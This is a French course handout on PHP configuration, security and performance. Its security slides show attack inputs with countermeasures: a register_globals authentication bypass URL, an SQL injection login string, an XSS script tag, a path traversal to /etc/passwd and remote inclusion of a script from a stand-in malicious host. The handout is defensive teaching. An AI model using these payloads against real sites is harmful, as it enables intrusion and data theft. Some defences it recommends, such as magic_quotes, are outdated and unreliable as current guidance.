Configuration/Sécurité et performances avec PHP



Documents pareils
ADF 2009 Sécurisation d applications PHP/MySQL

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage

Création d'un site dynamique en PHP avec Dreamweaver et MySQL

Stockage du fichier dans une table mysql:

Mysql. Les requêtes préparées Prepared statements

Résoudre les problèmes PHP, les meilleures (et les pires) techniques

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

TP réseaux 4 : Installation et configuration d'un serveur Web Apache

Hébergement de site web Damien Nouvel

Programmation Web. Introduction

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Audit Sécurité vendredi 13 novembre

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

L3 informatique TP n o 2 : Les applications réseau

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

A5.2.4 Étude d une technologie, d'un composant, d'un outil

SYSTÈMES D INFORMATIONS

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org

Classe ClInfoCGI. Fonctions membres principales. Gestion des erreurs

Vulnérabilités et sécurisation des applications Web

IIS 6 - PHP5 - MySQL phpmyadmin 2.6

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

KAJOUT WASSIM INTERNET INFORMATION SERVICES (IIS) 01/03/2013. Compte-rendu sur ISS KAJOUT Wassim

Manuel d'installation

L envoi d un formulaire par courriel. Configuration requise Mail Texte Mail HTML Check-list

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Par l'exemple de. Laurent Destailleur

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Programmation Web. Madalina Croitoru IUT Montpellier

Aide-mémoire minimal pour la sécurité en PHP François Gannaz

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

contact@nqicorp.com - Web :

GUIDE D INSTALLATION DE L APPLICATION GECOL SUR

Attaques applicatives

Maarch V1.4

Serveur d'application Client HTML/JS. Apache Thrift Bootcamp

table des matières Administration système

1. La plate-forme LAMP

Seance 2: En respectant la méthode de programmation par contrat, implémentez les autres fonctions de jeu.

Architectures web/bases de données

PHP 5.4 Développez un site web dynamique et interactif

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

Attaques de type. Brandon Petty

Authentification et contrôle d'accès dans les applications web

Gilles.Roussel univ-mlv.fr HTTP/1.1 RFC 2068

Tous les autres noms de produits ou appellations sont des marques déposées ou des noms commerciaux appartenant à leurs propriétaires respectifs.

Pratique et administration des systèmes

Démonstration de la mise en cache via HTML 5 sur iphone

Formation en Logiciels Libres. Fiche d inscription

FileMaker Server 13. Publication Web personnalisée avec PHP

Mise en place d un serveur Proxy sous Ubuntu / Debian

Procédure d'installation du serveur Apache HTTPD pour Windows

1. Installation du Module

Test de HSQLDB et Comparatif avec Sqlite

TP Service HTTP Serveur Apache Linux Debian

BTS S.I.O PHP OBJET. Module SLAM4. Nom du fichier : PHPRévisionObjetV2.odt Auteur : Pierre Barais

INSTALLATION DE L APPLICATION DU CONTEXTE ITASTE

Logiciel : GLPI Version : SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003.

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Automatisation de l administration système

WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY

Activité sur Meteor. Annexe 1 : notion de client-serveur et notion de base de données

Service WEB, BDD MySQL, PHP et réplication Heartbeat. Conditions requises : Dans ce TP, il est nécessaire d'avoir une machine Debian sous ProxMox

BTS SIO SISR3 TP 1-I Le service Web [1] Le service Web [1]

Formation : WEbMaster

CREATION WEB DYNAMIQUE

Module BD et sites WEB

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

CONNECTEUR PRESTASHOP VTIGER CRM

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

Q-Checker pour V6 Release 2.1

contact@nqicorp.com - Web :

FORMATION PcVue. Mise en œuvre de WEBVUE. Journées de formation au logiciel de supervision PcVue 8.1. Lieu : Lycée Pablo Neruda Saint Martin d hères

Documentation utilisateur, manuel utilisateur MagicSafe Linux. Vous pouvez télécharger la dernière version de ce document à l adresse suivante :

La base de données XML exist. A. Belaïd

FileMaker Server 11. Publication Web personnalisée avec XML et XSLT

Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

Architectures en couches pour applications web Rappel : Architecture en couches

Outils de traitements de logs Apache

PHP 4 PARTIE : BASE DE DONNEES

Devenez un véritable développeur web en 3 mois!

Application de lecture de carte SESAM-Vitale Jeebop

WDpStats Procédure d installation

Le serveur web Apache

Magento. Magento. Réussir son site e-commerce. Réussir son site e-commerce BLANCHARD. Préface de Sébastien L e p e r s

Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6

TP réseau Android. Bidouilles Tomcat. a) Installer tomcat : il suffit de dézipper l'archive apache-tomcat windowsx64.zip.

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Introduction à JDBC. Accès aux bases de données en Java

Titre: Version: Dernière modification: Auteur: Statut: Licence:

Transcription:

Configuration/Sécurité et performances avec PHP

Deux installations pour PHP apache Comme un module CGI Chaque invocation d'un script php entraine le démarrage d'un processus Un binaire PHP est exécuté à chaque interprétation d'un script PHP Le binaire peut être utilisé comme un interprête à partir de la ligne de commande Comme un module Apache Le module PHP est démarré avec le serveur Apache et c'est apache qui se charge des invocations de l'interprête à l'intérieur de son propre processus Plus d'efficacité

La configuration de PHP Le fichier de configuration de PHP est un fichier de propriétés name=value L'endroit où il se trouvent dépend des options de compilation Dans le répertoire d'installation Dans c:\winnt pour windows 2000

Directives Plusieurs catégories de directives Options pour le langage Options pour la gestion des resources Options pour la gestion des variables Options pour l'organisation des fichiers Options pour l'upload de fichiers Options pour le debugging

Pour le langage short_open_tag et asp_tags pour les balise de début et de fin de scripts precision = int : precision des nombres en virgule flottante Expose_php = bool : PHP expose le fait qu'il est installé sur le serveur (header)

Les ressources memory_limit="8m" Permet de limiter la mémoire utilisée pour l'exécution d'un script Utile pour éviter à des scripts mals écrits d'écrouler le serveur max_execution_time=30 Temps maximum d'exécution d'un script Pour éviter qu'un script consomme toutes les ressources CPU

La gestion des erreurs error_reporting = E_ALL les erreurs à considérer display_errors = on Affiche les erreurs dans le navigateur Mettre à off en production pour des raisons de sécurité log_errors = off Logging des erreurs dans un fichier Mode recommandé en production error_log = filename Fichier dans lequel les erreurs sont enregistrées

Les données track_vars=''on'' : les variables d'env, get, post, cookies, server sont enregistrées dans les tableaux $_ENV, $_GET... toujours activé depuis 4.0.3 default_mimetype="text/html" Type mime par défaut du résultat de l'exécution default_charset ="iso 8859 1" Jeu de caractères par défaut arg_separator.{input,output}='&' : caractère utilisé pour séparer les arguments dans les les urls

Les données register_globals Si on'' À chaque variable GET ou POST, COOKIE une variable globale correspondante est associée Ex :?id=3 produit la variable globale $id Si ''off'' Les variables ne sont accessibles que par les tableaux superglobaux (pas besoin de les désigner comme global, visibles partout)

register global on EGPCS = Environment, GET, POST, Cookie, Server variables_order="egpcs" Détermine l'ordre de traitement des variables "GP" ne prendra en compte que les variables Get et Post

Les données Il est possible de forcer l'exécution d'un script avant ou après chaque script PHP auto_prepend_file auto_append_file magic_quotes_gpc=on Backslash automatiquement les ' " et \ dans les paramètres get, post et cookies

Les chemins, les fichiers include_path "/path1:/path2" chemin de recherche des fichiers PHP pour require et include Attention, différent sous windows et unix Doc_root : racine des fichiers PHP. Si positionné, c'est le seul endroit où des fichiers PHP pourront être exécutés

Les chemins, les fichiers Les extensions sont des interfaces entre PHP et différents autres services mail, xml processing, mysql Fournissent des librairies de fonctions spécialisées Pour modifier des extensions extension_dir le chemin vers les librairies contenant les extensions extension string le nom d'un module à charger

L'upload file_uploads = On pour autoriser l'upload de fichiers upload_tmp_dir string le chemin vers lequel les fichiers sont transférés upload_max_filesize 2M la taille maximum des fichiers uploadés

La sécurité PHP, comme langage de script a accès à toutes les ressources du système Il est possible de suivre quelques règles qui permettent d'éviter les problèmes Il est impossible de garantir la sécurité à 100% La règle numéro 1 est de ne jamais faire confiance aux données fournies par l'utilisateur éviter les globals Variables GET/POST/COOKIE Fichiers uploadés

Le contrôle de variables globales register_global ON : souvent nécessaire pour faire fonctionner des applications anciennes ou mal codées Problème : donne l'opportunité de contrôler la valeur de certaines variables globales de l'extérieur, simplement en passant une valeur dans l'url : http://server/myapp?i=8 modifie $i=8

Exemple de trichage <?php if ( check_password($login,$password) ) { $is_authenticated = 1 ; } if ( $is_authenticated == 1 ) {... http ://myhost/test.php?is_authenticated=1

Autres problèmes avec les variables globales Include ($libdir. "/functions.inc.php") ; $libdir=http://sitemechant/ Sur ce site : un fichier "functions.inc.php PROVOQUE L'EXECUTION DE CE CODE

Quelques principes pour résister Register_global OFF chaque fois que possible, sinon Ne jamais faire confiance à une variable non explicitement initialisée par le programme Au maximum, initialiser les variables Dans les cas contraires : vérifier que la variable est absente du tableau $_GET

SQL injection insertion de commandes SQL dans des données saisies au travers d'un formulaire <? $user=$_post['user']; $pass=$_post['pass']; $query="select * from users where uname='$user' AND upass='$pass'"; $res=mysql_query($query); if (mysql_num_rows($res) >0 ) { $auth=1;?> Supposons $_POST['user'] = "admin' #" Alors : $query = SELECT * from users where uname='admin' #' AND upass=''"; Cette requête retourne TOUJOURS une ligne!!!

Autres types d'injection Utiliser UNION pour étendre la requête Utiliser des conditions toujours vraies que l'on combine avec un OR

Comment résister Config : Magic_quotes_gpc ON admin ' # admin \' # Protection locale : fonction mysql_escape_string () Ajoute des \ devant ', \, " Contrôler les données fournies par l'utilisateur Limiter et prévenir : Ne jamais exposer le schéma de la base (dans les formulaires en particulier) Ne pas afficher les erreurs Limiter les droits de l'utilisateur qui accède à la base Logger les requêtes

Cross Site Scripting Principe : insérer des balises html avec des scripts dans des données qui sont affichées par l'application <??> echo "votre recherche {$_POST['query']} a echoue <br>" ; Dans le formulaire, on saisit : "<script> alert("coucou Bilou");</script> Ou un script plus méchant!

Comment résister Fonctions: strip_tags() : retire TOUS les tags html d'une string htmlspecialchars() : convertit les caractères spéciaux html en caractères affichables : "<" &lt <?php $new = htmlspecialchars("<a href='test'>test</a>", ENT_QUOTES); echo $new; // <a href=&#039;test&#039;>test</a>?>

Accès à des fichiers locaux <? $page = $_GET['page']; include($page);?> La bonne blague : http://monsite/index.php?page=../../../../etc/passwd Encore plus amusant : http://monsite/index.php?page=http://sitemechant/scriptmechant.php

Comment résister Faire un contrôle sur les noms de fichiers avec une expression régulière pour vérifier qu'ils ne contiennent pas de chemins (pas de.. ou de / ou de \)

Le safe_mode Utile pour les serveurs partagés (ISP) Vérifie que le script qui s'exécute à le même propriétaire que le fichier auquel il accède (uid) Peut s'appliquer aussi au groupe (gid) Évite à des applications sur le même serveur de polluer vos applis Permet de Restreindre les fonctions appelables par les scripts : disable_functions Restreindre les endroits où on peut ouvrir de fichiers depuis PHP (fopen): open_basedir Empécher les scripts de modifier les variables d'environnement ne commençant pas par un préfixe donné : safe_mode_allow_env_vars

Restreindre les informations Éviter d'exposer des informations sur votre environnement Error reporting dans un fichier de log uniquement Error_reporting=e_none Display_errors=false Ou Pas de fichiers d'inclusion se terminant par.inc Cacher le fait que vous utilisez PHP Expose_php="off" L'extension par défaut peut aussi être changée (config apache)

Performances et PHP Il est difficile a priori de prévoir les sections coûteuses dans un script PHP Boucles Traitement de chaînes répétés Accès à la base de données inutiles Utiliser un outil de Profiling Mettre des points de contrôle dans le code Analyser différents types d'exécution Faire attention aux accès à la base de donnée C'est souvent le plus cher

Profiling Calculer le temps passé dans les fonctions et les scripts Différentes librairies php, nécessitent d'ajouter du code dans les scripts Outils commerciaux d'optimisation et de profiling (Zend) http://www.adepteo.net/profiler/index.php

Quelques fonctions zutiles phpinfo() : affiche la configuration php et diverses informations ini_get(string varname) : renvoie la valeur d'une variable de configuration ini_set(string varname, string val) : change la valeur d'une variable de configuration pour le script courant ini_restore(string varname) : restore la valeur initiale d'une variable configuration

fin